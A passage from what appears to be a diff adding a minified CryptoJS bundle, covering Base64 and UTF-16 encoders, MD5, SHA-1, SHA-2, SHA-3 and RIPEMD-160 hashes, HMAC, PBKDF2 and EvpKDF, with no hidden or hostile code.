b.sigBytes -= i + } + return new x.init(m, i) + }, clone: function () { + var a = z.clone.call(this); + return a._data = this._data.clone(), a + }, _minBufferSize: 0 + }), l = (w.Hasher = j.extend({ + cfg: z.extend(), init: function (a) { + this.cfg = this.cfg.extend(a), this.reset() + }, reset: function () { + j.reset.call(this), this._doReset() + }, update: function (a) { + return this._append(a), this._process(), this + }, finalize: function (a) { + a && this._append(a); + var b = this._doFinalize(); + return b + }, blockSize: 16, _createHelper: function (c) { + return function (a, b) { + return new c.init(b).finalize(a) + } + }, _createHmacHelper: function (c) { + return function (a, b) { + return new l.HMAC.init(c, b).finalize(a) + } + } + }), v.algo = {}); + return v + }(Math); + return function () { + function r(a, b, c) { + for (var d = [], e = 0, f = 0; f < b; f++) if (f % 4) { + var h = c[a.charCodeAt(f - 1)] << f % 4 * 2, g = c[a.charCodeAt(f)] >>> 6 - f % 4 * 2; + d[e >>> 2] |= (h | g) << 24 - e % 4 * 8, e++ + } + return w.create(d, e) + } + + var u = B, v = u.lib, w = v.WordArray, z = u.enc; + z.Base64 = { + stringify: function (a) { + var b = a.words, c = a.sigBytes, d = this._map; + a.clamp(); + for (var e = [], f = 0; f < c; f += 3) for (var h = b[f >>> 2] >>> 24 - f % 4 * 8 & 255, g = b[f + 1 >>> 2] >>> 24 - (f + 1) % 4 * 8 & 255, i = b[f + 2 >>> 2] >>> 24 - (f + 2) % 4 * 8 & 255, k = h << 16 | g << 8 | i, m = 0; m < 4 && f + .75 * m < c; m++) e.push(d.charAt(k >>> 6 * (3 - m) & 63)); + var p = d.charAt(64); + if (p) for (; e.length % 4;) e.push(p); + return e.join("") + }, parse: function (a) { + var b = a.length, c = this._map, d = this._reverseMap; + if (!d) { + d = this._reverseMap = []; + for (var e = 0; e < c.length; e++) d[c.charCodeAt(e)] = e + } + var f = c.charAt(64); + if (f) { + var h = a.indexOf(f); + h !== -1 && (b = h) + } + return r(a, b, d) + }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" + } + }(), function (H) { + function C(a, b, c, d, e, f, h) { + var g = a + (b & c | ~b & d) + e + h; + return (g << f | g >>> 32 - f) + b + } + + function D(a, b, c, d, e, f, h) { + var g = a + (b & d | c & ~d) + e + h; + return (g << f | g >>> 32 - f) + b + } + + function E(a, b, c, d, e, f, h) { + var g = a + (b ^ c ^ d) + e + h; + return (g << f | g >>> 32 - f) + b + } + + function A(a, b, c, d, e, f, h) { + var g = a + (c ^ (b | ~d)) + e + h; + return (g << f | g >>> 32 - f) + b + } + + var I = B, J = I.lib, L = J.WordArray, N = J.Hasher, K = I.algo, s = []; + !function () { + for (var a = 0; a < 64; a++) s[a] = 4294967296 * H.abs(H.sin(a + 1)) | 0 + }(); + var P = K.MD5 = N.extend({ + _doReset: function () { + this._hash = new L.init([1732584193, 4023233417, 2562383102, 271733878]) + }, _doProcessBlock: function (a, b) { + for (var c = 0; c < 16; c++) { + var d = b + c, e = a[d]; + a[d] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8) + } + var f = this._hash.words, h = a[b + 0], g = a[b + 1], i = a[b + 2], k = a[b + 3], m = a[b + 4], p = a[b + 5], r = a[b + 6], u = a[b + 7], v = a[b + 8], w = a[b + 9], z = a[b + 10], x = a[b + 11], y = a[b + 12], n = a[b + 13], F = a[b + 14], G = a[b + 15], j = f[0], l = f[1], o = f[2], q = f[3]; + j = C(j, l, o, q, h, 7, s[0]), q = C(q, j, l, o, g, 12, s[1]), o = C(o, q, j, l, i, 17, s[2]), l = C(l, o, q, j, k, 22, s[3]), j = C(j, l, o, q, m, 7, s[4]), q = C(q, j, l, o, p, 12, s[5]), o = C(o, q, j, l, r, 17, s[6]), l = C(l, o, q, j, u, 22, s[7]), j = C(j, l, o, q, v, 7, s[8]), q = C(q, j, l, o, w, 12, s[9]), o = C(o, q, j, l, z, 17, s[10]), l = C(l, o, q, j, x, 22, s[11]), j = C(j, l, o, q, y, 7, s[12]), q = C(q, j, l, o, n, 12, s[13]), o = C(o, q, j, l, F, 17, s[14]), l = C(l, o, q, j, G, 22, s[15]), j = D(j, l, o, q, g, 5, s[16]), q = D(q, j, l, o, r, 9, s[17]), o = D(o, q, j, l, x, 14, s[18]), l = D(l, o, q, j, h, 20, s[19]), j = D(j, l, o, q, p, 5, s[20]), q = D(q, j, l, o, z, 9, s[21]), o = D(o, q, j, l, G, 14, s[22]), l = D(l, o, q, j, m, 20, s[23]), j = D(j, l, o, q, w, 5, s[24]), q = D(q, j, l, o, F, 9, s[25]), o = D(o, q, j, l, k, 14, s[26]), l = D(l, o, q, j, v, 20, s[27]), j = D(j, l, o, q, n, 5, s[28]), q = D(q, j, l, o, i, 9, s[29]), o = D(o, q, j, l, u, 14, s[30]), l = D(l, o, q, j, y, 20, s[31]), j = E(j, l, o, q, p, 4, s[32]), q = E(q, j, l, o, v, 11, s[33]), o = E(o, q, j, l, x, 16, s[34]), l = E(l, o, q, j, F, 23, s[35]), j = E(j, l, o, q, g, 4, s[36]), q = E(q, j, l, o, m, 11, s[37]), o = E(o, q, j, l, u, 16, s[38]), l = E(l, o, q, j, z, 23, s[39]), j = E(j, l, o, q, n, 4, s[40]), q = E(q, j, l, o, h, 11, s[41]), o = E(o, q, j, l, k, 16, s[42]), l = E(l, o, q, j, r, 23, s[43]), j = E(j, l, o, q, w, 4, s[44]), q = E(q, j, l, o, y, 11, s[45]), o = E(o, q, j, l, G, 16, s[46]), l = E(l, o, q, j, i, 23, s[47]), j = A(j, l, o, q, h, 6, s[48]), q = A(q, j, l, o, u, 10, s[49]), o = A(o, q, j, l, F, 15, s[50]), l = A(l, o, q, j, p, 21, s[51]), j = A(j, l, o, q, y, 6, s[52]), q = A(q, j, l, o, k, 10, s[53]), o = A(o, q, j, l, z, 15, s[54]), l = A(l, o, q, j, g, 21, s[55]), j = A(j, l, o, q, v, 6, s[56]), q = A(q, j, l, o, G, 10, s[57]), o = A(o, q, j, l, r, 15, s[58]), l = A(l, o, q, j, n, 21, s[59]), j = A(j, l, o, q, m, 6, s[60]), q = A(q, j, l, o, x, 10, s[61]), o = A(o, q, j, l, i, 15, s[62]), l = A(l, o, q, j, w, 21, s[63]), f[0] = f[0] + j | 0, f[1] = f[1] + l | 0, f[2] = f[2] + o | 0, f[3] = f[3] + q | 0 + }, _doFinalize: function () { + var a = this._data, b = a.words, c = 8 * this._nDataBytes, d = 8 * a.sigBytes; + b[d >>> 5] |= 128 << 24 - d % 32; + var e = H.floor(c / 4294967296), f = c; + b[(d + 64 >>> 9 << 4) + 15] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), b[(d + 64 >>> 9 << 4) + 14] = 16711935 & (f << 8 | f >>> 24) | 4278255360 & (f << 24 | f >>> 8), a.sigBytes = 4 * (b.length + 1), this._process(); + for (var h = this._hash, g = h.words, i = 0; i < 4; i++) { + var k = g[i]; + g[i] = 16711935 & (k << 8 | k >>> 24) | 4278255360 & (k << 24 | k >>> 8) + } + return h + }, clone: function () { + var a = N.clone.call(this); + return a._hash = this._hash.clone(), a + } + }); + I.MD5 = N._createHelper(P), I.HmacMD5 = N._createHmacHelper(P) + }(Math), function () { + var p = B, r = p.lib, u = r.WordArray, v = r.Hasher, w = p.algo, z = [], x = w.SHA1 = v.extend({ + _doReset: function () { + this._hash = new u.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, _doProcessBlock: function (a, b) { + for (var c = this._hash.words, d = c[0], e = c[1], f = c[2], h = c[3], g = c[4], i = 0; i < 80; i++) { + if (i < 16) z[i] = 0 | a[b + i]; else { + var k = z[i - 3] ^ z[i - 8] ^ z[i - 14] ^ z[i - 16]; + z[i] = k << 1 | k >>> 31 + } + var m = (d << 5 | d >>> 27) + g + z[i]; + m += i < 20 ? (e & f | ~e & h) + 1518500249 : i < 40 ? (e ^ f ^ h) + 1859775393 : i < 60 ? (e & f | e & h | f & h) - 1894007588 : (e ^ f ^ h) - 899497514, g = h, h = f, f = e << 30 | e >>> 2, e = d, d = m + } + c[0] = c[0] + d | 0, c[1] = c[1] + e | 0, c[2] = c[2] + f | 0, c[3] = c[3] + h | 0, c[4] = c[4] + g | 0 + }, _doFinalize: function () { + var a = this._data, b = a.words, c = 8 * this._nDataBytes, d = 8 * a.sigBytes; + return b[d >>> 5] |= 128 << 24 - d % 32, b[(d + 64 >>> 9 << 4) + 14] = Math.floor(c / 4294967296), b[(d + 64 >>> 9 << 4) + 15] = c, a.sigBytes = 4 * b.length, this._process(), this._hash + }, clone: function () { + var a = v.clone.call(this); + return a._hash = this._hash.clone(), a + } + }); + p.SHA1 = v._createHelper(x), p.HmacSHA1 = v._createHmacHelper(x) + }(), function (j) { + var l = B, o = l.lib, q = o.WordArray, H = o.Hasher, C = l.algo, D = [], E = []; + !function () { + function d(a) { + for (var b = j.sqrt(a), c = 2; c <= b; c++) if (!(a % c)) return !1; + return !0 + } + + function e(a) { + return 4294967296 * (a - (0 | a)) | 0 + } + + for (var f = 2, h = 0; h < 64;) d(f) && (h < 8 && (D[h] = e(j.pow(f, .5))), E[h] = e(j.pow(f, 1 / 3)), h++), f++ + }(); + var A = [], I = C.SHA256 = H.extend({ + _doReset: function () { + this._hash = new q.init(D.slice(0)) + }, _doProcessBlock: function (a, b) { + for (var c = this._hash.words, d = c[0], e = c[1], f = c[2], h = c[3], g = c[4], i = c[5], k = c[6], m = c[7], p = 0; p < 64; p++) { + if (p < 16) A[p] = 0 | a[b + p]; else { + var r = A[p - 15], u = (r << 25 | r >>> 7) ^ (r << 14 | r >>> 18) ^ r >>> 3, v = A[p - 2], w = (v << 15 | v >>> 17) ^ (v << 13 | v >>> 19) ^ v >>> 10; + A[p] = u + A[p - 7] + w + A[p - 16] + } + var z = g & i ^ ~g & k, x = d & e ^ d & f ^ e & f, y = (d << 30 | d >>> 2) ^ (d << 19 | d >>> 13) ^ (d << 10 | d >>> 22), n = (g << 26 | g >>> 6) ^ (g << 21 | g >>> 11) ^ (g << 7 | g >>> 25), F = m + n + z + E[p] + A[p], G = y + x; + m = k, k = i, i = g, g = h + F | 0, h = f, f = e, e = d, d = F + G | 0 + } + c[0] = c[0] + d | 0, c[1] = c[1] + e | 0, c[2] = c[2] + f | 0, c[3] = c[3] + h | 0, c[4] = c[4] + g | 0, c[5] = c[5] + i | 0, c[6] = c[6] + k | 0, c[7] = c[7] + m | 0 + }, _doFinalize: function () { + var a = this._data, b = a.words, c = 8 * this._nDataBytes, d = 8 * a.sigBytes; + return b[d >>> 5] |= 128 << 24 - d % 32, b[(d + 64 >>> 9 << 4) + 14] = j.floor(c / 4294967296), b[(d + 64 >>> 9 << 4) + 15] = c, a.sigBytes = 4 * b.length, this._process(), this._hash + }, clone: function () { + var a = H.clone.call(this); + return a._hash = this._hash.clone(), a + } + }); + l.SHA256 = H._createHelper(I), l.HmacSHA256 = H._createHmacHelper(I) + }(Math), function () { + function h(a) { + return a << 8 & 4278255360 | a >>> 8 & 16711935 + } + + var g = B, i = g.lib, k = i.WordArray, m = g.enc; + m.Utf16 = m.Utf16BE = { + stringify: function (a) { + for (var b = a.words, c = a.sigBytes, d = [], e = 0; e < c; e += 2) { + var f = b[e >>> 2] >>> 16 - e % 4 * 8 & 65535; + d.push(String.fromCharCode(f)) + } + return d.join("") + }, parse: function (a) { + for (var b = a.length, c = [], d = 0; d < b; d++) c[d >>> 1] |= a.charCodeAt(d) << 16 - d % 2 * 16; + return k.create(c, 2 * b) + } + }; + m.Utf16LE = { + stringify: function (a) { + for (var b = a.words, c = a.sigBytes, d = [], e = 0; e < c; e += 2) { + var f = h(b[e >>> 2] >>> 16 - e % 4 * 8 & 65535); + d.push(String.fromCharCode(f)) + } + return d.join("") + }, parse: function (a) { + for (var b = a.length, c = [], d = 0; d < b; d++) c[d >>> 1] |= h(a.charCodeAt(d) << 16 - d % 2 * 16); + return k.create(c, 2 * b) + } + } + }(), function () { + if ("function" == typeof ArrayBuffer) { + var e = B, f = e.lib, h = f.WordArray, g = h.init, i = h.init = function (a) { + if (a instanceof ArrayBuffer && (a = new Uint8Array(a)), (a instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && a instanceof Uint8ClampedArray || a instanceof Int16Array || a instanceof Uint16Array || a instanceof Int32Array || a instanceof Uint32Array || a instanceof Float32Array || a instanceof Float64Array) && (a = new Uint8Array(a.buffer, a.byteOffset, a.byteLength)), a instanceof Uint8Array) { + for (var b = a.byteLength, c = [], d = 0; d < b; d++) c[d >>> 2] |= a[d] << 24 - d % 4 * 8; + g.call(this, c, b) + } else g.apply(this, arguments) + }; + i.prototype = h + } + }(), function (l) { + function o(a, b, c) { + return a ^ b ^ c + } + + function q(a, b, c) { + return a & b | ~a & c + } + + function H(a, b, c) { + return (a | ~b) ^ c + } + + function C(a, b, c) { + return a & c | b & ~c + } + + function D(a, b, c) { + return a ^ (b | ~c) + } + + function E(a, b) { + return a << b | a >>> 32 - b + } + + var A = B, I = A.lib, J = I.WordArray, L = I.Hasher, N = A.algo, K = J.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), + s = J.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), P = J.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), + S = J.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), U = J.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), M = J.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), V = N.RIPEMD160 = L.extend({ + _doReset: function () { + this._hash = J.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, _doProcessBlock: function (a, b) { + for (var c = 0; c < 16; c++) { + var d = b + c, e = a[d]; + a[d] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8) + } + var f, h, g, i, k, m, p, r, u, v, w = this._hash.words, z = U.words, x = M.words, y = K.words, n = s.words, F = P.words, G = S.words; + m = f = w[0], p = h = w[1], r = g = w[2], u = i = w[3], v = k = w[4]; + for (var j, c = 0; c < 80; c += 1) j = f + a[b + y[c]] | 0, j += c < 16 ? o(h, g, i) + z[0] : c < 32 ? q(h, g, i) + z[1] : c < 48 ? H(h, g, i) + z[2] : c < 64 ? C(h, g, i) + z[3] : D(h, g, i) + z[4], j |= 0, j = E(j, F[c]), j = j + k | 0, f = k, k = i, i = E(g, 10), g = h, h = j, j = m + a[b + n[c]] | 0, j += c < 16 ? D(p, r, u) + x[0] : c < 32 ? C(p, r, u) + x[1] : c < 48 ? H(p, r, u) + x[2] : c < 64 ? q(p, r, u) + x[3] : o(p, r, u) + x[4], j |= 0, j = E(j, G[c]), j = j + v | 0, m = v, v = u, u = E(r, 10), r = p, p = j; + j = w[1] + g + u | 0, w[1] = w[2] + i + v | 0, w[2] = w[3] + k + m | 0, w[3] = w[4] + f + p | 0, w[4] = w[0] + h + r | 0, w[0] = j + }, _doFinalize: function () { + var a = this._data, b = a.words, c = 8 * this._nDataBytes, d = 8 * a.sigBytes; + b[d >>> 5] |= 128 << 24 - d % 32, b[(d + 64 >>> 9 << 4) + 14] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), a.sigBytes = 4 * (b.length + 1), this._process(); + for (var e = this._hash, f = e.words, h = 0; h < 5; h++) { + var g = f[h]; + f[h] = 16711935 & (g << 8 | g >>> 24) | 4278255360 & (g << 24 | g >>> 8) + } + return e + }, clone: function () { + var a = L.clone.call(this); + return a._hash = this._hash.clone(), a + } + }); + A.RIPEMD160 = L._createHelper(V), A.HmacRIPEMD160 = L._createHmacHelper(V) + }(Math), function () { + var k = B, m = k.lib, p = m.Base, r = k.enc, u = r.Utf8, v = k.algo; + v.HMAC = p.extend({ + init: function (a, b) { + a = this._hasher = new a.init, "string" == typeof b && (b = u.parse(b)); + var c = a.blockSize, d = 4 * c; + b.sigBytes > d && (b = a.finalize(b)), b.clamp(); + for (var e = this._oKey = b.clone(), f = this._iKey = b.clone(), h = e.words, g = f.words, i = 0; i < c; i++) h[i] ^= 1549556828, g[i] ^= 909522486; + e.sigBytes = f.sigBytes = d, this.reset() + }, reset: function () { + var a = this._hasher; + a.reset(), a.update(this._iKey) + }, update: function (a) { + return this._hasher.update(a), this + }, finalize: function (a) { + var b = this._hasher, c = b.finalize(a); + b.reset(); + var d = b.finalize(this._oKey.clone().concat(c)); + return d + } + }) + }(), function () { + var x = B, y = x.lib, n = y.Base, F = y.WordArray, G = x.algo, j = G.SHA1, l = G.HMAC, o = G.PBKDF2 = n.extend({ + cfg: n.extend({keySize: 4, hasher: j, iterations: 1}), init: function (a) { + this.cfg = this.cfg.extend(a) + }, compute: function (a, b) { + for (var c = this.cfg, d = l.create(c.hasher, a), e = F.create(), f = F.create([1]), h = e.words, g = f.words, i = c.keySize, k = c.iterations; h.length < i;) { + var m = d.update(b).finalize(f); + d.reset(); + for (var p = m.words, r = p.length, u = m, v = 1; v < k; v++) { + u = d.finalize(u), d.reset(); + for (var w = u.words, z = 0; z < r; z++) p[z] ^= w[z] + } + e.concat(m), g[0]++ + } + return e.sigBytes = 4 * i, e + } + }); + x.PBKDF2 = function (a, b, c) { + return o.create(c).compute(a, b) + } + }(), function () { + var m = B, p = m.lib, r = p.Base, u = p.WordArray, v = m.algo, w = v.MD5, z = v.EvpKDF = r.extend({ + cfg: r.extend({keySize: 4, hasher: w, iterations: 1}), init: function (a) { + this.cfg = this.cfg.extend(a) + }, compute: function (a, b) { + for (var c = this.cfg, d = c.hasher.create(), e = u.create(), f = e.words, h = c.keySize, g = c.iterations; f.length < h;) { + i && d.update(i); + var i = d.update(a).finalize(b); + d.reset(); + for (var k = 1; k < g; k++) i = d.finalize(i), d.reset(); + e.concat(i) + } + return e.sigBytes = 4 * h, e + } + }); + m.EvpKDF = function (a, b, c) { + return z.create(c).compute(a, b) + } + }(), function () { + var b = B, c = b.lib, d = c.WordArray, e = b.algo, f = e.SHA256, h = e.SHA224 = f.extend({ + _doReset: function () { + this._hash = new d.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) + }, _doFinalize: function () { + var a = f._doFinalize.call(this); + return a.sigBytes -= 4, a + } + }); + b.SHA224 = f._createHelper(h), b.HmacSHA224 = f._createHmacHelper(h) + }(), function (f) { + var h = B, g = h.lib, i = g.Base, k = g.WordArray, m = h.x64 = {}; + m.Word = i.extend({ + init: function (a, b) { + this.high = a, this.low = b + } + }), m.WordArray = i.extend({ + init: function (a, b) { + a = this.words = a || [], b != f ? this.sigBytes = b : this.sigBytes = 8 * a.length + }, toX32: function () { + for (var a = this.words, b = a.length, c = [], d = 0; d < b; d++) { + var e = a[d]; + c.push(e.high), c.push(e.low) + } + return k.create(c, this.sigBytes) + }, clone: function () { + for (var a = i.clone.call(this), b = a.words = this.words.slice(0), c = b.length, d = 0; d < c; d++) b[d] = b[d].clone(); + return a + } + }) + }(), function (E) { + var A = B, I = A.lib, J = I.WordArray, L = I.Hasher, N = A.x64, K = N.Word, s = A.algo, P = [], S = [], U = []; + !function () { + for (var a = 1, b = 0, c = 0; c < 24; c++) { + P[a + 5 * b] = (c + 1) * (c + 2) / 2 % 64; + var d = b % 5, e = (2 * a + 3 * b) % 5; + a = d, b = e + } + for (var a = 0; a < 5; a++) for (var b = 0; b < 5; b++) S[a + 5 * b] = b + (2 * a + 3 * b) % 5 * 5; + for (var f = 1, h = 0; h < 24; h++) { + for (var g = 0, i = 0, k = 0; k < 7; k++) { + if (1 & f) { + var m = (1 << k) - 1; + m < 32 ? i ^= 1 << m : g ^= 1 << m - 32 + } + 128 & f ? f = f << 1 ^ 113 : f <<= 1 + } + U[h] = K.create(g, i) + } + }(); + var M = []; + !function () { + for (var a = 0; a < 25; a++) M[a] = K.create() + }(); + var V = s.SHA3 = L.extend({ + cfg: L.cfg.extend({outputLength: 512}), _doReset: function () { + for (var a = this._state = [], b = 0; b < 25; b++) a[b] = new K.init; + this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 + }, _doProcessBlock: function (a, b) { + for (var c = this._state, d = this.blockSize / 2, e = 0; e < d; e++) { + var f = a[b + 2 * e], h = a[b + 2 * e + 1]; + f = 16711935 & (f << 8 | f >>> 24) | 4278255360 & (f << 24 | f >>> 8), h = 16711935 & (h << 8 | h >>> 24) | 4278255360 & (h << 24 | h >>> 8); + var g = c[e]; + g.high ^= h, g.low ^= f + } + for (var i = 0; i < 24; i++) { + for (var k = 0; k < 5; k++) { + for (var m = 0, p = 0, r = 0; r < 5; r++) { + var g = c[k + 5 * r]; + m ^= g.high, p ^= g.low + } + var u = M[k]; + u.high = m, u.low = p + } + for (var k = 0; k < 5; k++) for (var v = M[(k + 4) % 5], w = M[(k + 1) % 5], z = w.high, x = w.low, m = v.high ^ (z << 1 | x >>> 31), p = v.low ^ (x << 1 | z >>> 31), r = 0; r < 5; r++) { + var g = c[k + 5 * r]; + g.high ^= m, g.low ^= p + } + for (var y = 1; y < 25; y++) { + var g = c[y], n = g.high, F = g.low, G = P[y]; + if (G < 32) var m = n << G | F >>> 32 - G, p = F << G | n >>> 32 - G; else var m = F << G - 32 | n >>> 64 - G, p = n << G - 32 | F >>> 64 - G; + var j = M[S[y]]; + j.high = m, j.low = p + } + var l = M[0], o = c[0]; + l.high = o.high, l.low = o.low; + for (var k = 0; k < 5; k++) for (var r = 0; r < 5; r++) { + var y = k + 5 * r, g = c[y], q = M[y], H = M[(k + 1) % 5 + 5 * r], C = M[(k + 2) % 5 + 5 * r]; + g.high = q.high ^ ~H.high & C.high, g.low = q.low ^ ~H.low & C.low + } + var g = c[0], D = U[i]; + g.high ^= D.high, g.low ^= D.low + } + }, _doFinalize: function () { + var a = this._data, b = a.words, c = (8 * this._nDataBytes, 8 * a.sigBytes), d = 32 * this.blockSize; + b[c >>> 5] |= 1 << 24 - c % 32, b[(E.ceil((c + 1) / d) * d >>> 5) - 1] |= 128, a.sigBytes = 4 * b.length, this._process(); + for (var e = this._state, f = this.cfg.outputLength / 8, h = f / 8, g = [], i = 0; i < h; i++) { + var k = e[i], m = k.high, p = k.low; + m = 16711935 & (m << 8 | m >>> 24) | 4278255360 & (m << 24 | m >>> 8), p = 16711935 & (p << 8 | p >>> 24) | 4278255360 & (p << 24 | p >>> 8), g.push(p), g.push(m) + } + return new J.init(g, f) + }, clone: function () { + for (var a = L.clone.call(this), b = a._state = this._state.slice(0), c = 0; c < 25; c++) b[c] = b[c].clone(); + return a + } + }); + A.SHA3 = L._createHelper(V), A.HmacSHA3 = L._createHmacHelper(V) + }(Math), function () { + function t() { + return T.create.apply(T, arguments) + } + + var bb = B, bu = bb.lib, bf = bu.Hasher, bh = bb.x64, T = bh.Word, bv = bh.WordArray, bw = bb.algo, + bx = [t(1116352408, 3609767458), t(1899447441, 602891725), t(3049323471, 3964484399), t(3921009573, 2173295548), t(961987163, 4081628472), t(1508970993, 3053834265), t(2453635748, 2937671579), t(2870763221, 3664609560), t(3624381080, 2734883394), t(310598401, 1164996542), t(607225278, 1323610764), t(1426881987, 3590304994), t(1925078388, 4068182383), t(2162078206, 991336113), t(2614888103, 633803317), t(3248222580, 3479774868), t(3835390401, 2666613458), t(4022224774, 944711139), t(264347078, 2341262773), t(604807628, 2007800933), t(770255983, 1495990901), t(1249150122, 1856431235), t(1555081692, 3175218132), t(1996064986, 2198950837), t(2554220882, 3999719339), t(2821834349, 766784016), t(2952996808, 2566594879), t(3210313671, 3203337956), t(3336571891, 1034457026), t(3584528711, 2466948901), t(113926993, 3758326383), t(338241895, 168717936), t(666307205, 1188179964), t(773529912, 1546045734), t(1294757372, 1522805485), t(1396182291, 2643833823), t(1695183700, 2343527390), t(1986661051, 1014477480), t(2177026350, 1206759142), t(2456956037, 344077627), t(2730485921, 1290863460), t(2820302411, 3158454273), t(3259730800, 3505952657), t(3345764771, 106217008), t(3516065817, 3606008344), t(3600352804, 1432725776), t(4094571909, 1467031594), t(275423344, 851169720), t(430227734, 3100823752), t(506948616, 1363258195), t(659060556, 3750685593), t(883997877, 3785050280), t(958139571, 3318307427), t(1322822218, 3812723403), t(1537002063, 2003034995), t(1747873779, 3602036899), t(1955562222, 1575990012), t(2024104815, 1125592928), t(2227730452, 2716904306), t(2361852424, 442776044), t(2428436474, 593698344), t(2756734187, 3733110249), t(3204031479, 2999351573), t(3329325298, 3815920427), t(3391569614, 3928383900), t(3515267271, 566280711), t(3940187606, 3454069534), t(4118630271, 4000239992), t(116418474, 1914138554), t(174292421, 2731055270), t(289380356, 3203993006), t(460393269, 320620315), t(685471733, 587496836), t(852142971, 1086792851), t(1017036298, 365543100), t(1126000580, 2618297676), t(1288033470, 3409855158), t(1501505948, 4234509866), t(1607167915, 987167468), t(1816402316, 1246189591)], + Y = []; + !function () { + for (var a = 0; a < 80; a++) Y[a] = t() + }(); + var bi = bw.SHA512 = bf.extend({ + _doReset: function () { + this._hash = new bv.init([new T.init(1779033703, 4089235720), new T.init(3144134277, 2227873595), new T.init(1013904242, 4271175723), new T.init(2773480762, 1595750129), new T.init(1359893119, 2917565137), new T.init(2600822924, 725511199), new T.init(528734635, 4215389547), new T.init(1541459225, 327033209)]) + }, _doProcessBlock: function (a, b) { + for (var c = this._hash.words, d = c[0], e = c[1], f = c[2], h = c[3], g = c[4], i = c[5], k = c[6], m = c[7], p = d.high, r = d.low, u = e.high, v = e.low, w = f.high, z = f.low, x = h.high, y = h.low, n = g.high, F = g.low, G = i.high, j = i.low, l = k.high, o = k.low, q = m.high, H = m.low, C = p, D = r, E = u, A = v, I = w, J = z, L = x, N = y, K = n, s = F, P = G, S = j, U = l, M = o, V = q, bc = H, Q = 0; Q < 80; Q++) { + var bg = Y[Q]; + if (Q < 16) var X = bg.high = 0 | a[b + 2 * Q], R = bg.low = 0 | a[b + 2 * Q + 1]; else { + var bj = Y[Q - 15], Z = bj.high, bd = bj.low, by = (Z >>> 1 | bd << 31) ^ (Z >>> 8 | bd << 24) ^ Z >>> 7, bk = (bd >>> 1 | Z << 31) ^ (bd >>> 8 | Z << 24) ^ (bd >>> 7 | Z << 25), bl = Y[Q - 2], ba = bl.high, be = bl.low, bz = (ba >>> 19 | be << 13) ^ (ba << 3 | be >>> 29) ^ ba >>> 6, bm = (be >>> 19 | ba << 13) ^ (be << 3 | ba >>> 29) ^ (be >>> 6 | ba << 26), bn = Y[Q - 7], bA = bn.high, bB = bn.low, bo = Y[Q - 16], bC = bo.high, bp = bo.low, R = bk + bB, X = by + bA + (R >>> 0 < bk >>> 0 ? 1 : 0), R = R + bm, X = X + bz + (R >>> 0 < bm >>> 0 ? 1 : 0), R = R + bp, + X = X + bC + (R >>> 0 < bp >>> 0 ? 1 : 0); + bg.high = X, bg.low = R + } + var bD = K & P ^ ~K & U, ut = s & S ^ ~s & M, bE = C & E ^ C & I ^ E & I, bF = D & A ^ D & J ^ A & J, bG = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), bq = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), bH = (K >>> 14 | s << 18) ^ (K >>> 18 | s << 14) ^ (K << 23 | s >>> 9), bI = (s >>> 14 | K << 18) ^ (s >>> 18 | K << 14) ^ (s << 23 | K >>> 9), br = bx[Q], bJ = br.high, bs = br.low, O = bc + bI, W = V + bH + (O >>> 0 < bc >>> 0 ? 1 : 0), O = O + ut, W = W + bD + (O >>> 0 < ut >>> 0 ? 1 : 0), O = O + bs, W = W + bJ + (O >>> 0 < bs >>> 0 ? 1 : 0), + O = O + R, W = W + X + (O >>> 0 < R >>> 0 ? 1 : 0), bt = bq + bF, bK = bG + bE + (bt >>> 0 < bq >>> 0 ? 1 : 0); + V = U, bc = M, U = P, M = S, P = K, S = s, s = N + O | 0, K = L + W + (s >>> 0 < N >>> 0 ? 1 : 0) | 0, L = I, N = J, I = E, J = A, E = C, A = D, D = O + bt | 0, C = W + bK + (D >>> 0 < O >>> 0 ? 1 : 0) | 0 + } + r = d.low = r + D, d.high = p + C + (r >>> 0 